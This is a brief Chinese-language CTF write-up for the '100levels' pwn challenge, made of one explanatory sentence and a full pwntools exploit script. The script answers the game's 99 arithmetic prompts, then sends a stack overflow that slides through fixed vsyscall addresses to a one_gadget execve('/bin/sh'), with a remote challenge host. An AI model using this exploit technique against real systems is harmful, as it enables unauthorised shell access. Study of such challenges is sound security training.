直接用vsyscall的地址不会发生改变通过栈的结构分布发现返回地址+24byte之后便是system_addr将其改为execve(’/bin/sh’)然后跳到上面即可

from pwn import *
local=1
if local==1:
	p=process('./100levels')
	elf=ELF('./100levels')
	libc=ELF('./libc.so')
else:
	p=remote('111.198.29.45',52480)
	elf=ELF('./100levels')
	libc=ELF('./libc.so')

offset=0x4526a-libc.symbols['system']
vsyscall = 0xffffffffff600000  
def exp():
	p.recvuntil('Choice:\n')
	p.sendline('2')
	p.recvuntil('Choice:\n')
	p.sendline('1')
	p.recvuntil('?')
	p.sendline('0')
	p.sendline(str(offset))
	for i in range(0,99):
		p.recvuntil('Question: ')
		a=int(p.recvuntil('*',drop=True)[-4:])
		b=int(p.recvuntil('=',drop=True)[-4:])
		p.recvuntil('Answer:')
		p.sendline(str(a*b))
	p.recvuntil('Answer:')
	p.send('a'*0x38+p64(vsyscall)*3)
	p.interactive()

if __name__=="__main__":
	exp()